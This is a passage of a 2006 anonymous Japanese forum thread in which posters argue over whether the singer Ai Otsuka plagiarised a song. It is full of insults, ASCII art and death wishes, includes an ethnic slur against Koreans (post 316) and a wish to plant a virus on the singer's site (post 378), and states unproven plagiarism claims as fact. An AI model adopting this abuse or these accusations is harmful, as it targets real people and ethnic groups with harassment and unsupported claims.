251 :アーロン:2006/01/30(月) 23:57:12 ID:bibiJLnC
アンチさんと同意見

252 :美鈴:2006/01/31(火) 00:09:30 ID:Ft/6+40k
人気あるょ!!!!!!!!!!
アタシの学校だけかもしんないケド。。
もしそぉならゴメン(><;)

253 :名も無き音楽論客:2006/01/31(火) 00:20:43 ID:B0oBKz2F
盗作でも何でも、プラネタリウムは個人的に好きだから、いい♪

254 :アンチ:2006/01/31(火) 00:30:01 ID:qQ4KNAz3
盗作って犯罪なんですよb
犯罪者が人気あるなんておかしくないですか?

255 :アーロン:2006/01/31(火) 00:32:52 ID:kwYPENh2
アンチさん>全くその通りです。
あんな聞いたらすぐ分かるような歌がどうして法律で罰せられないのでしょう?


256 :アンチ:2006/01/31(火) 00:36:54 ID:qQ4KNAz3
まぁ、どんなにいい曲盗んでも・・・音痴じゃねぇ・・・
あの音痴っぷり・・・・かわいそう・・・・・・・・・・


257 :名も無き音楽論客:2006/01/31(火) 02:05:06 ID:+bug3fPN
何で著作権持ってないおまえらがえらそうなことほざいてるんだ?
本人達が互いに著作権を侵してないと思ってるからこそ、法的争いもないし個人的な争いもないのだろ?
アンチは人を潰す商売だからな、だまされるなよ釣られるなよアンチの親分にさ。


258 :名も無き音楽論客:2006/01/31(火) 16:32:25 ID:???
オッサンうざい

259 :キレてないですよ(^ω^;):2006/01/31(火) 17:21:41 ID:???
大塚が整形だとかいってる奴の8割以上はブス

ひがみと言う奴だ。

260 :名も無き音楽論客:2006/01/31(火) 17:53:10 ID:sdY9VY18
>>257>>259
ま  た  オ  ッ
サ  ン  か  と
こ  と  ん  暇
な  奴  だ

261 :名も無き音楽論客:2006/01/31(火) 18:20:36 ID:5UwaUQnQ
>>259                ,イ^i                   l
                 ,イ::::  l               __  _l
                /::::::::   l                 ,. |
               /::::::::::    {       /|     __/ __|
             /::::::::    _`-、_  /:: {
            /:::::::::::   < 。\    ̄  __ l     ___  l
           ./:::::::::::    r  ̄ ̄ :::::::..... <。゙yi         /
           /:::::::::::      人   :::::::::::::::. ̄、{      \ ´,
           |:::::::::::.       l __`ー-、.__,,.ノ!  !       `'´ ,
           |::::::::::::.        \ ..`..____' /  |      ─ r‐┘
           .l:::::::::::::.       \:::::::::::::::::::::/   /        ’  ,
           ヽ::::::::::. ___    \_ ̄~^/   ,/     ───┘
             \::/`ー---‐^ヽ    ゙`='   /      _ _l
              l:::      l         /           ’  l
         _ /,--、l::::.      ノ       l         ̄ .| ̄
     ,--、_ノ:: `ー'::   、ミー---‐,,l        \         ___l
    ,/   :::         i ̄ ̄  |         \
   /:::::::.        l:::    l:::::::   l           \        l
  l:::::::::::.   l:::    !::    |:::::::   l            \   __ _l
  |:::::::::l::::  l:::    |::    l:::::     l              l     |
  |::::::::::l:::.   }:::   l:::::,r-----    l               l  __ノ
  ヽ::::::::l::::   ト:;;;;;;;/-/__...........  /                 |     |


262 :しゅーいん:2006/01/31(火) 18:24:07 ID:U24ZzH6B
盗塚はカワリニラチラレレバヨカッタ
話題すり替えへちょ盗塚ファンもどっかの誰か&俺のために氏ね
っとかってにねがっているFFXファンより
なぜ盗塚は捕まらない?
後ろの人のぱわーか?エイベッ糞か?
インスパイアハゴウホウカサレテルノ?
ヴェグ…の口から出てくる大砲、異界に撃っても意味あるの?



263 :名も無き音楽論客:2006/01/31(火) 20:12:09 ID:YPSlNm8u


モウ、コノ話題アキタポ(´・д・`)

264 :名も無き音楽論客:2006/02/01(水) 01:03:59 ID:OU/hck0Z
俺もこの話題飽きたけど、盗作娘は嫌い
歌も顔も

265 :名も無き音楽論客:2006/02/01(水) 19:16:57 ID:9U4cmGsm
>>234
レンジは1,2,3しか当てはまらないと思うよ。まあ俺はレンジファンじゃないからよく分からないけど。

266 :名も無き音楽論客:2006/02/01(水) 20:04:16 ID:qtpPGkPs
ってか>>260
オッサンはダレだか知らんけど、お前のほうが暇人じゃん!
朝から晩まで書き子してんじゃねーよ。オタクか!?
歌手を貶してどこがおもしろいんだ!?
盗作はあくまで疑惑なんだよ!そんくらい知っとけ!
あとキモイとか言ってるけどお前にそっくりそのままかえすよ!

267 :名も無き音楽論客:2006/02/01(水) 20:12:51 ID:???
>>266 頭悪そうな文章だね。wwwwwwwwwwwwww(^o^) 面白いよオッさんwwwwwwwwwwww

268 :名も無き音楽論客:2006/02/01(水) 23:25:21 ID:JVL9gHmS
>>267
ねえ?なんでもかんでもオッサンなの?
頭おかしい!?
ってかさ・・お前大塚愛のアンチじゃないだろ?
何しに来てんの?
はっきり言ってただの荒らし?

269 :名も無き音楽論客:2006/02/01(水) 23:42:50 ID:???
>>268 見てて非常に痛々しい。wwwwww

270 :名も無き音楽論客:2006/02/01(水) 23:46:42 ID:???
>>268 お前みたいなクズは2chに来ない方が良いよ。

271 :名も無き音楽論客:2006/02/02(木) 11:02:36 ID:1GrDLVh8
で、具体的にどうやってエイベッ糞に制裁を加えるかだが

272 :名も無き音楽論客:2006/02/02(木) 11:09:20 ID:???
>>270 ネラーの大半がこそクズだろ。
ネラーが優秀な奴の集まりとでも勘違いしてるのかな?

>>271 くだらないな。ほかにやることないのかい?

273 :名も無き音楽論客:2006/02/02(木) 12:14:57 ID:???
>>272 もう痛々しいしいからカキコやめなよ
( ̄ー+ ̄)wwwwwwwwwwwwwww

274 :名も無き音楽論客:2006/02/02(木) 12:42:12 ID:???
>>273 痛々しいのは君のほうでしょうがw
>>268じゃなからな俺はw
勘違いワロスw

275 :名も無き音楽論客:2006/02/02(木) 12:51:32 ID:???
コテハンは外せても、頭悪そうな文章は変えられないようだね

276 :名も無き音楽論客:2006/02/02(木) 15:39:59 ID:XCd++xiC
お前はなんでもかんでもオッサンだと思い込まないほうがいいよ!
ってか頭悪い文章はアンチのほうだと思うが・・・「一部を除き」
痛々しいアンチなんか死ねとか消えろとか盗作とか以外に言うことないのか?
アンチはアンチなりの考え方があるだろ??分かるか?

ってかオッサンってダレ?

277 :名も無き音楽論客:2006/02/02(木) 18:39:12 ID:P9gIO/vI
>>276痛…

278 :名も無き音楽論客:2006/02/02(木) 20:12:00 ID:???
>>276 痛々しい文章力乙。

279 :美鈴:2006/02/02(木) 20:50:39 ID:pvhkFRnz
(*>ー<*)b

280 :名も無き音楽論客:2006/02/02(木) 21:07:27 ID:???
奴がキター(・_・)

281 :名も無き音楽論客:2006/02/02(木) 21:33:32 ID:Z4HpBOfX
>>273
ttp://d.hatena.ne.jp/keyword/%A5%D1%A5%AF%A4%ED%A4%A6%A4%BC

282 :名も無き音楽論客:2006/02/02(木) 21:35:24 ID:Z4HpBOfX
<<281
訂正 <<273→<<265

283 :名も無き音楽論客:2006/02/02(木) 23:36:53 ID:q+YydM5k
紅白で大塚が歌ってるとき
「よくのうのうとぱくった曲をこの舞台で歌えるな」
そんな怒りを抱えながら年を越した

284 :名も無き音楽論客:2006/02/03(金) 01:06:49 ID:V2o8kDRZ
>>283
パクッタ具体的な証拠もないのになんで偉そうに発言してんの?
ってか勝手に1人で怒りをかかえていれば?

285 :名も無き音楽論客:2006/02/03(金) 01:47:03 ID:???
>>284
ネットでの検証を知らんのか?
それとも物的証拠が必要なのか?
パクってない確証もねーだろがカス

286 :名も無き音楽論客:2006/02/03(金) 02:18:22 ID:mdUjQLEK
まあどうせ流されるだろうが・・・・・

音楽理論の勉強を義務教育でちょっとだけでもやればいいのにな。
そしたら盗作盗作言う声も多少は減ると思うのに。
おれ作曲歴まだ一年経ってないけど、必死に学校でノートとって、それ
見ながらポップス作ったんだよ。自分のセンスとかそういうの無視で、
作曲理論優先でさ。そしたらコード進行がスマップの夜空の向こうと一緒だったよ、
全部じゃないけど。結局そういうことでないかしら?外出だったらスマソ。

まあ本当に盗作した奴が今まで何人もいたからこそこんなんなちゃったんだろうけどな(;´Д`)

287 :名も無き音楽論客:2006/02/03(金) 06:57:31 ID:???
>>286 お  前  は
も  う  少  し
法  律  に  つ
い  て  勉  強
し  ろ  カ  ス

288 :名も無き音楽論客:2006/02/03(金) 10:32:35 ID:???
>>286
藻前が能無しなだけだろ
知らずに似たの作るのと
知っててマネするのとじゃ雲泥の差があんだお
「意図的」なのが見え見えだから騒がれてんだろがカス

289 :美鈴:2006/02/03(金) 18:40:23 ID:w1tNMI4H
まぁAみなさん怒らないで♪
アタシ、このごろは何だか穏やかな気持ちになれてるんだぁ☆
だから賛否両論でぃぃじゃん(^v^●)m

290 :キレてないですよ(^ω^;):2006/02/03(金) 19:32:32 ID:???
た と え 大 塚 愛 で も お ま い ら よ り 歌 も 作 詞 の 腕 も マ シ

291 :名も無き音楽論客:2006/02/03(金) 19:56:15 ID:???
>>290釣り乙
ま  た  オ  ッ
サ  ン  か  と
こ  と  ん  暇
な  奴  だ

292 :名も無き音楽論客:2006/02/03(金) 20:19:37 ID:QejD6BqW
>>289読みにくいから普通に書き込め

293 :名も無き音楽論客:2006/02/03(金) 20:47:36 ID:???
はいはいわろすわろす

294 :名も無き音楽論客:2006/02/03(金) 22:02:16 ID:2PEyabqx
____
    /∵∴∵∴\
   /∵∴∵∴∵∴\
  /∵∴∴,(・)(・)∴|
  |∵∵/   ● \|
  |∵ /  三 | 三 |  / ̄ ̄ ̄ ̄ ̄ ̄ ̄
  |∵ |   __|__  | < うるせーバーカ
   \|   \_/ /   \_______
     \____/


295 :名も無き音楽論客:2006/02/04(土) 00:15:56 ID:b+ZOyuPB
盗塚愛

296 :名も無き音楽論客:2006/02/04(土) 00:18:51 ID:b+ZOyuPB
ミスチルもパクリ多すぎ

297 :名も無き音楽論客:2006/02/04(土) 01:20:03 ID:G4sTQDlp
素敵だねを聞いたが、「いきたいよ」の部分だけで全体的にみると全然パクリじゃないっしょ!
あれでパクリなら世の中パクリだらけやん(笑)

298 :名も無き音楽論客:2006/02/04(土) 07:06:58 ID:PbbT7huV
>>297
オジサンうっさい

299 :名も無き音楽論客:2006/02/04(土) 08:29:40 ID:tsb4hEZL
>>298
それしかいえないのか?まったく幼稚だ。
お前何人ネットしてると思うんだよ!考えろ!
俺的な考えを言うとパクリ50パーセントパクリじゃない50パーセントなんだよ!

300 :名も無き音楽論客:2006/02/04(土) 08:58:50 ID:A3GqYJI9
300だったらののタソとお風呂

301 :名も無き音楽論客:2006/02/04(土) 09:06:22 ID:???
>>299 オッサン必死

302 :名も無き音楽論客:2006/02/04(土) 09:40:13 ID:8eC/hJW+
>>296ちょぃ待て
ミスチルってパクられるほうなんじゃないの?

303 :キレてないですよ(^ω^;):2006/02/04(土) 10:22:42 ID:???
>>291
事実を言ったまで。

304 :名も無き音楽論客:2006/02/04(土) 10:30:26 ID:???
>>303 ちょwwwwwwwwwwwwwwwオッサンはちゃんと働きなさいよwwwww

305 :名も無き音楽論客:2006/02/04(土) 11:35:27 ID:tsb4hEZL
>>301
いちいち掲示板ごときで必死になるか!?
お前は大塚キモイとかパクリすぎとかそれしか言うことないんだろ!?
だったらもう来るなよ。
なんど言っても同じだ。
俺はまだ盗作とは確定できないぞ。と言ったまで。
あくまで意見なの。お前はさっきから意見も言えてねーだろ?
どれだけ幼稚なんだ?
アンチとかファンの以前の問題だな。


306 :名も無き音楽論客:2006/02/04(土) 11:43:16 ID:???
>>305 オッサンよ
お  前  こ  そ
2  度  と  来
る  な

307 :名も無き音楽論客:2006/02/04(土) 11:44:38 ID:???
オッさんが一人で頑張ってるスレはここでつか?(・ω・;)

308 :美鈴:2006/02/04(土) 12:57:41 ID:CpU9Xv3r
>>292サン、普通に書いたつもりなんだケド(_ _;)

309 :名も無き音楽論客:2006/02/04(土) 13:39:02 ID:tLXdCOjZ
>>305ふじいあきら改めオッサン、キモイよw
盗作なんて限りなく黒に近いグレーじゃん。

310 :美鈴:2006/02/04(土) 14:29:09 ID:CpU9Xv3r
>>309サン、その言葉DEATH NOTEのパクリ!!?

311 :名も無き音楽論客:2006/02/04(土) 14:35:47 ID:+moi3uyQ
いや、明らかな黒なんだが

312 :名も無き音楽論客:2006/02/04(土) 16:50:52 ID:???
fgsdfjdjg




fggdfgkfkl;




fl:sdl



[tl;:twel:





t;t:;:er];;:t




dfg;sd:]rtw


313 :名も無き音楽論客:2006/02/04(土) 17:00:19 ID:???
大塚バカどっか行け!謝れ!

314 :名も無き音楽論客:2006/02/04(土) 17:08:39 ID:QaUfFaId
>>313
いくら言ってもアンチの怒りが耐えないからじゃあ代わりに俺が謝ろうか!?
ひとつ言わせてもらうけど盗作なんかまだ確定できないよ。

315 :名も無き音楽論客:2006/02/04(土) 17:51:31 ID:JfjXrYVZ
>>314
怒りが絶えない○

偶然であそこまで「同じ」になることは100%不可能
バカのヲタはやっぱりバカw

謝れ

316 :名も無き音楽論客:2006/02/04(土) 19:18:39 ID:tLXdCOjZ
オッサンの文章がいつもおかしいんだがオッサンはチョンか在日なの?

317 :名も無き音楽論客:2006/02/04(土) 19:33:21 ID:???
>>299
つまり半信半疑といいたいのか。お前が大塚を信じなくて誰が信じる(信じてくれたほうが叩き害あるけどね♪)
>>305
いやいや、お前こそ「!」とかカキコ仕方でかなり必死なのが読めるんだけど…。


318 :名も無き音楽論客:2006/02/04(土) 22:24:29 ID:???
俺の作った曲も何かに似てるよ

319 :名も無き音楽論客:2006/02/04(土) 23:18:20 ID:???
>>314
オッサンが謝った所で何も解決しねーんだよwww
相変わらず低脳www

320 :名も無き音楽論客:2006/02/05(日) 01:11:45 ID:???
>>314
謝ると書いたなら詫びの言葉を書け
話はそれからだ

321 :名も無き音楽論客:2006/02/05(日) 13:47:14 ID:???
オッさん必死。wwwwwwwwwwwwwageとくからギャグレスよろしく

322 :名も無き音楽論客:2006/02/05(日) 18:31:09 ID:SUIc7ij5
>>319
オッサンってダレなんだよ??
このスレになんかオッサンいないと思うが・・・
ってか低脳はお前だろ?普通に考えて。
>>315
<偶然であそこまで「同じ」になることは100%不可能

100%不可能とまでいえないくせに何事実のように言ってんの?
>>320
お詫びなんかどこにある?


323 :名も無き音楽論客:2006/02/05(日) 19:14:05 ID:fQj0hfS8
>>322
m9(^Д^)プギャー!!

324 :名も無き音楽論客:2006/02/05(日) 20:04:26 ID:SUIc7ij5
>>323
何が言いたいの?

325 :名も無き音楽論客:2006/02/05(日) 20:06:30 ID:???
>>324
m9(^Д^)プギャー!!



326 :名も無き音楽論客:2006/02/05(日) 20:14:29 ID:SUIc7ij5
>>325
は?意味分からん。

327 :名も無き音楽論客:2006/02/05(日) 20:26:32 ID:???
>>326 m9(^Д^)プギャー!!

328 :名も無き音楽論客:2006/02/05(日) 20:27:29 ID:SUIc7ij5
>>327
精神異常者??

329 :名も無き音楽論客:2006/02/05(日) 20:29:39 ID:???
>>328 貴様には言われたくないと思うな。wwwwwwwwww

330 :名も無き音楽論客:2006/02/05(日) 20:34:03 ID:SUIc7ij5
>>329
じゃあお前に言われればいいのか?

331 :名も無き音楽論客:2006/02/05(日) 20:39:56 ID:???
>>330
m9(^Д^)プギャー!!


332 :名も無き音楽論客:2006/02/05(日) 20:41:41 ID:SUIc7ij5
>>331
意味不明。

333 :名も無き音楽論客:2006/02/05(日) 20:43:28 ID:nJ7oijqv
>>286
俺も作曲歴1年半だけど、やっぱり何となく他に似た曲が出来てしまう。だから普通に似た曲があってもおかしくないと思う。

334 :名も無き音楽論客:2006/02/05(日) 20:44:57 ID:SUIc7ij5
>>333
いいこと言うね。
ピアノで曲つくんの?

335 :名も無き音楽論客:2006/02/05(日) 20:50:25 ID:nJ7oijqv
>>334
エレクトーンで

336 :名も無き音楽論客:2006/02/05(日) 20:50:49 ID:P0ebeoYm
なんだ?この流れw
テラワロス

337 :名も無き音楽論客:2006/02/05(日) 20:51:42 ID:SUIc7ij5
>>335
作詞作曲は自分がありのまま感じ取ったのをすぐ詩にしてメロディーつくるの?
すご!

338 :名も無き音楽論客:2006/02/05(日) 20:53:13 ID:???
確かに似た曲ができてしまうのは仕方ない。
しかしお前はそれをCDなどにして売ることはないだろう?
大塚はそれを著作権を無視して売っている。
つまりは「犯罪」たとえそれに悪気はないとしても「犯罪」は変わらない。
だからお前は頭弱いといわれるんだよ、おっさん♪

339 :名も無き音楽論客:2006/02/05(日) 20:53:54 ID:P0ebeoYm
  ァ  ∧_∧ ァ ,、
 ,、'` ( ´∀`) ,、'`
  '`  ( ⊃ ⊂)  '`

340 :名も無き音楽論客:2006/02/05(日) 20:55:32 ID:SUIc7ij5
>>338
あのさ、著作権違反なんかしてないと思うよ。
確かに似た曲ができてしまうのは仕方ない。って自分もそう思うんなら
少しは同感するとこもあるだろ?

341 :名も無き音楽論客:2006/02/05(日) 20:56:28 ID:nJ7oijqv
>>338
つまりどうゆうこと?

342 :名も無き音楽論客:2006/02/05(日) 20:57:27 ID:P0ebeoYm
みなさかなー
     /V\
    /◎;;;,;,,,,ヽ   
 _ ム::::(,,゚Д゚)::|<ここまでインスパイヤ
ヽツ.(ノ:::::::::.:::::::.:..|)
  ヾソ:::::::::::::::::.:ノ
   ` ー U'"U'

343 :名も無き音楽論客:2006/02/05(日) 20:58:55 ID:SUIc7ij5
いちいち著作権がどうのこうの言っててもぶっちゃけきりがないと思うよ!
それぞれの個性があれば十分。
だいたい盗作なんか程遠い。
確かにアンチのいうとおり盗作してない証拠はないがな。

344 :名も無き音楽論客:2006/02/05(日) 21:01:35 ID:???
>>340
では著作権違反してないといえる理由は?

345 :名も無き音楽論客:2006/02/05(日) 21:02:47 ID:SUIc7ij5
>>344
俺がしるわけねーだろ?
馬鹿か?
お前から言った話だろ?

346 :名も無き音楽論客:2006/02/05(日) 21:03:44 ID:P0ebeoYm
>>345
m9(^Д^)プギャー!!

347 :名も無き音楽論客:2006/02/05(日) 21:04:44 ID:???
両方の意見を聞いたけどさ・・どっちも証拠なくね?
だからどっちも事実じゃない!

348 :名も無き音楽論客:2006/02/05(日) 21:04:44 ID:???
>>345
知るわけないなら著作権違反なんかしてないと思うよなんて書くなよwww

349 :名も無き音楽論客:2006/02/05(日) 21:05:48 ID:???
>>348
お前も証拠もないくせに著作権無視で販売とか言うなよ!

350 :名も無き音楽論客:2006/02/05(日) 21:06:02 ID:???
>>347
はいはい矛盾矛盾

351 :名も無き音楽論客:2006/02/05(日) 21:07:11 ID:???
>>350
何が矛盾なの?説明して?

352 :名も無き音楽論客:2006/02/05(日) 21:09:14 ID:P0ebeoYm
    .______        ______
   /  __ ___ \     /  __ ___ \
  /  /_/    |  \   ./  /_/    |  \
  |   _/   \/    |   |   _/   \/    |
  |   / ___ /\    |   |   / ___ /\    |
  |   _____.     |   |    _____.    |
  \   / | \    /  \   / | \    /
   \______/     \______/
     \||||||||||||||||/        \||||||||||||||||/
       ̄ | |  ̄大塚祭ワッショイ   ! !  ̄
 \\    │ |  大塚祭ワッショイ!  | |     //
   \\  │ |  大塚祭ワッショイ!  | |   //
.      +  | ∧__∧  ∧__∧ ∧_∧ |  +
         |( ´∀`∩(´∀`∩)( ´∀`) O
   + ((  O (    ノ(つ  丿(つ   | |  ))  +
        | ヽ ( ノ ( ヽノ  ) ) )│
        |__|(_)し' し(_) (_)_)_.|

353 :名も無き音楽論客:2006/02/05(日) 21:11:30 ID:???
>>350
うまく説明できないがこの場合盗作してるのに盗作してないということになる。

354 :名も無き音楽論客:2006/02/05(日) 21:18:28 ID:nJ7oijqv
そろそろ盗作疑惑の話は終わりにしろよ。ずっと引きずってるアンチ見てると痛い。こんなに待ってても謝罪しないんだから、盗作じゃないんだよ。

355 :名も無き音楽論客:2006/02/05(日) 21:19:42 ID:P0ebeoYm
>>354
m9(^Д^)プギャー!!

356 :名も無き音楽論客:2006/02/05(日) 21:40:45 ID:S54M6h+d
馬鹿なオッサンの為に教えてやるよ!
一小節以上類似した場合知的財産権の侵害になるんだよ!何も知らないくせに
2ちゃんねるに来るなヴォケ!

357 :名も無き音楽論客:2006/02/05(日) 21:44:52 ID:P0ebeoYm
  ァ  ∧_∧ ァ ,、
 ,、'` ( ´∀`) ,、'`
  '`  ( ⊃ ⊂)  '`

358 :名も無き音楽論客:2006/02/05(日) 21:46:14 ID:???
そうだなぁオレも小学校の時、夏休みの作文を書いて提出したんだがな、それを見た先生が隣の隣の組の女の子の作文と一部分が似てるといって俺を責めたんだ。
俺は泣いたね、忘れもしないよ、「家族と一緒にプールに行ってそれからご飯を食べました」この部分だけだぜ?
先生は著作権に違反してるって言い張るんだ、しかもしつこくしつこく責め立てるし。
オレは盗作なんかしてないって何度も何度も言った。周りの奴も最初は先生のことばかり信じてたけど、オレのことをだんだん信じてくれるようになった。
だってオレは真実を言ってるからな、みんなそれを分かってくれたんだ。
結局はオレの真実が認められて、先生は嘘つき呼ばわりされて学校を去っていったよ。

アンチって笑えるな!もっと遊んでやろうぜぇ


359 :名も無き音楽論客:2006/02/05(日) 21:46:49 ID:P0ebeoYm
    _  ∩
  ( ゚∀゚)彡 オッサン!オッサン!
  (  ⊂彡
   |   | 
   し ⌒J


360 :名も無き音楽論客:2006/02/05(日) 21:47:56 ID:???
なんだい?オッサン!

361 :名も無き音楽論客:2006/02/05(日) 21:48:50 ID:S54M6h+d
妄想を書き込む変態は帰れ!

362 :名も無き音楽論客:2006/02/05(日) 21:49:49 ID:???
そうだなオッサン?

363 :名も無き音楽論客:2006/02/05(日) 21:54:30 ID:S54M6h+d
可哀想に358は病気なんだね。

364 :名も無き音楽論客:2006/02/05(日) 21:55:57 ID:???
違うよ、君の方だよ。>>363 の オッサン

365 :名も無き音楽論客:2006/02/05(日) 21:57:16 ID:P0ebeoYm
S54M6h+d
m9(^Д^)プギャー!!

366 :名も無き音楽論客:2006/02/05(日) 22:03:17 ID:???
お、お、俺かぁー俺がオッサンだったかー
とりあえず大塚氏ね

367 :名も無き音楽論客:2006/02/05(日) 22:04:11 ID:???
おまえが氏ね!

368 :名も無き音楽論客:2006/02/05(日) 22:05:18 ID:???
おまえが氏ね!

369 :名も無き音楽論客:2006/02/05(日) 22:07:07 ID:???
アンチって頭がいいネッ?

370 :名も無き音楽論客:2006/02/05(日) 22:08:47 ID:P0ebeoYm
          __,.  -─-- 、_
        , - ' _,´ --──‐-   )
      ,イ´__-___,. -‐ '__,. - '´
      `ー----, - ' ´ ̄ ``  、__
         __,ィ            ヽ. `ヽ.
      ,  '⌒Y  /     、ヽ    ヽ  ヽ.
     /    /  i   /l/|_ハ li  l i   li   ハ
.    // 〃 /l  i|j_,.//‐'/  lTト l、l   j N i |
   {イ  l  / l  li //___    リ_lノ lル' lハ. ソ  ___◎_r‐ロユ
    i| /レ/l l  l v'´ ̄  , ´ ̄`イ  !| ll,ハ └─‐┐ナ┐┌┘ _  ヘ____
    ハ| ll∧ハヽ ト、 '''' r==┐ '''' /l jハ| ll ll    /./┌┘└┬┘└┼────┘ロコ┌i
   〃  ‖ レ'¨´ヽiへ. _ 、__,ノ ,.イ/|/ ノ ll l|   </   ̄L.l ̄ ̄L.lL.!         ┌┘|
  ll    ll {   ⌒ヽ_/ } ー‐<.__  ′  l| ‖
  ‖    ‖ ヽ,   /、 〈   |:::::::| `ヽ      ‖
  ‖       {.  ハ ヽ Y`‐┴、::::v  l      ‖
  ‖      |iヽ{ ヽ_ゾノ‐一’::::ヽ. |      ‖
  ‖      |i:::::`¨´-- :::......:...:.:.::.}|     ‖
  ‖      |i::::::ヽ._:::_:::::::::::::::::::_ノ |     ‖
  ‖      |i::::::::::::i___:::::::::::/  |
           jj::::::::r┴-- `ー‐ '⌒ |
         〃:::::::マ二      _,ノ
       //::::::::::::i ー 一 '´ ̄::.
       ,','::::::::::::::i::::::::::::::::::::::i::::::ヽ

371 :名も無き音楽論客:2006/02/05(日) 22:12:00 ID:???
俺は大塚絶対許さんぞー
FFマンセー

372 :名も無き音楽論客:2006/02/05(日) 22:26:13 ID:???
>>322
オッサンのが低脳だろww

373 :名も無き音楽論客:2006/02/05(日) 22:29:33 ID:P0ebeoYm
ハハハ                             イキデキネーヨ
   ∧_∧  / ̄ ̄ ̄ ̄ ̄ ̄ ̄   ハライテ-       ゲラゲラ
   ( ´∀`) < わははは         ∧_∧       〃´⌒ヽ       モウ カンベン
.  ( つ ⊂ )  \_______   (´∀` ,,)、      ( _ ;)        シテクダサイ
   .)  ) )   ○   ∧_∧      ,, へ,, へ⊂),     _(∨ ∨ )_     ∧_∧ ○,
  (__)_)  ⊂ ´⌒つ´∀`)つ    (_(__)_丿      し ̄ ̄し     ⊂(´∀`⊂ ⌒ヽつ
          タッテ ラレネーヨ

374 :名も無き音楽論客:2006/02/05(日) 22:33:13 ID:???
>> 372

低脳なやつはな、他人の技量も計ることをできないくせに、そういうことしかいえないんだよ>>372みたいに。
おまえ(>>372)が高度な知能を持っているところを見せてくれ、このスレのカキコミで。
高度な知能でだぞ!糞とかバカとか低脳な言葉を使わずにな>>372のオッサン



375 :名も無き音楽論客:2006/02/05(日) 22:38:01 ID:???
馬鹿でスンマセン
このスレって大塚愛の盗作を本気で許せない人達集まろう!じゃなかったけ?
何か大塚擁護が多くね?


376 :名も無き音楽論客:2006/02/05(日) 22:43:32 ID:GOLOC0xJ
じゃあそろそろ話しを戻そう。

377 :名も無き音楽論客:2006/02/05(日) 22:45:50 ID:???
最後に。

こういうスレには、ナウなヤングが集まるんだよな必然的に。
つーか大塚愛の本スレに、ここのリンクが張ってあったから来ただけ。

まあ、自分の好きな曲を守るのは悪い事じゃないよ。絶対、オレもそうだしな。

378 :名も無き音楽論客:2006/02/05(日) 22:46:11 ID:???
誰でもいいから大塚の公式サイトにウイルス仕掛けて潰してーーーーーー
お願いします神様ーーーーー

379 :名も無き音楽論客:2006/02/05(日) 22:50:29 ID:???
誰が味方か判らん。
とりあえず大塚バッシングして擁護したやつ徹底的に叩くしかないな!

380 :名も無き音楽論客:2006/02/05(日) 22:51:19 ID:???
>>378
京都府警に通報しますた

381 :名も無き音楽論客:2006/02/06(月) 01:38:39 ID:???
>>374
きんもー☆

382 :名も無き音楽論客:2006/02/06(月) 01:52:42 ID:???
>>381

ありがとうありがとう

383 :名も無き音楽論客:2006/02/06(月) 02:26:54 ID:a7JGK+73
盗作しか出来ない本人と、それを見抜けず買うファンと、金儲けだけに許すレコード会社
みんなバカばっかり

384 :名も無き音楽論客:2006/02/06(月) 08:18:12 ID:cMY9Xt2u
いや、それは違うな
作っているのもエイベ
売っているのもエイベ
諸悪の根源はエイベだけ
振り回されているかわいそうなアーティストと
騙されて従順に買ってしまう一般消費者を救おうじゃないか
目を覚ませ
    _, ,_  パーン
 ( ‘д‘)
  ⊂彡☆))Д´) >>オッサン!

385 :名も無き音楽論客:2006/02/06(月) 08:21:06 ID:cMY9Xt2u
       パパパパパーン
       ☆))Д´)
    _, ,_ ∩☆))Д´)
 ( ‘д‘)彡☆))Д´)
   ⊂彡☆))Д´)
     ☆))Д´)

386 :名も無き音楽論客:2006/02/06(月) 08:21:38 ID:cMY9Xt2u
    パーン _, ,_  パーン
パーン_, ,_  ( ・д・)  _, ,_パーン
  ( ・д・) U☆ミ (・д・ )
   ⊂彡☆))Д´>>1 ☆ミ⊃  パーン
    , ,∩彡☆ ☆ミ∩, ,
  (   )  パーン (   )
 パーン      パーン

387 :名も無き音楽論客:2006/02/06(月) 08:22:34 ID:cMY9Xt2u
間違えた
    パーン _, ,_  パーン
パーン_, ,_  ( ・д・)  _, ,_パーン
  ( ・д・) U☆ミ (・д・ )
   ⊂彡☆))Д´オッサン!☆ミ⊃  パーン
    , ,∩彡☆ ☆ミ∩, ,
  (   )  パーン (   )
 パーン      パーン

388 :名も無き音楽論客:2006/02/06(月) 10:31:36 ID:???
>>382
きんもー☆

389 :名も無き音楽論客:2006/02/06(月) 15:20:21 ID:BJWY6OLv
紅白でプラネタリウムが始まる直前に
イヤホンつけて音量最大で素敵だねを聴いていた
俺が来ましたよ。

390 :名も無き音楽論客:2006/02/06(月) 15:25:02 ID:xFwEl4f3
>>389
ナイス!

391 :名も無き音楽論客:2006/02/06(月) 16:49:21 ID:???
アンチはマジで痛いな!
なぜ大塚愛をずっと盗作したとかって責める?? 決定的証拠なんかひとつもないだろ?
おめーらみたいにしつこすぎるのにもほどがある!

392 :名も無き音楽論客:2006/02/06(月) 17:22:53 ID:zXehbfZb
>>391
m9(^Д^)プギャー!!

393 :名も無き音楽論客:2006/02/06(月) 17:30:29 ID:0jmYrK9A
>>391もう黙れ。ふじいあきら=オッサン

394 :名も無き音楽論客:2006/02/06(月) 17:45:28 ID:???
>>391
お前よりは痛くないと思う。
盗作は犯罪だし、決定的証拠は素敵だねと聞き比べればわかる。
お前も盗作してない盗作してないうるさい。

395 :名も無き音楽論客:2006/02/06(月) 17:56:27 ID:VE+8XB+3
大塚愛っちレンジのカッチャンと付き合ってるってほんとう!?

396 :名も無き音楽論客:2006/02/06(月) 17:57:13 ID:???
>>394
おまえは大塚愛が盗作は絶対してるみたいな言い方なんだよな?
その言い方やめてくんない?
お前の証拠なんかただ似てるだけしか伝わってこないんだよね。
似てる=盗作なのか!?
>>393
意見を述べてるだけだ。
お前は問題外。

397 :名も無き音楽論客:2006/02/06(月) 17:57:49 ID:???
>>395
ネットの90パーセントはガセ。

398 :名も無き音楽論客:2006/02/06(月) 18:00:40 ID:VE+8XB+3
あっそうなんだ・・・。

399 :名も無き音楽論客:2006/02/06(月) 18:58:52 ID:???
>397
10パーセントも事実なのか。やっぱ盗作は盗作か。

400 :キレてないですよ(^ω^;):2006/02/06(月) 19:17:05 ID:???
>>322-332

ワロタwwwwwwwwwwww

401 :名も無き音楽論客:2006/02/06(月) 19:42:11 ID:???
そういえば大塚愛のフレンズと
浜崎あゆみのDaybreakって似てるー!

402 :名も無き音楽論客:2006/02/06(月) 19:50:18 ID:zXehbfZb
>>401
どっちも元ネタがありそうな悪寒

403 :美鈴:2006/02/06(月) 22:17:06 ID:Tfr8zeLo
ふあぁー、眠い(。´w`)ノ。°*

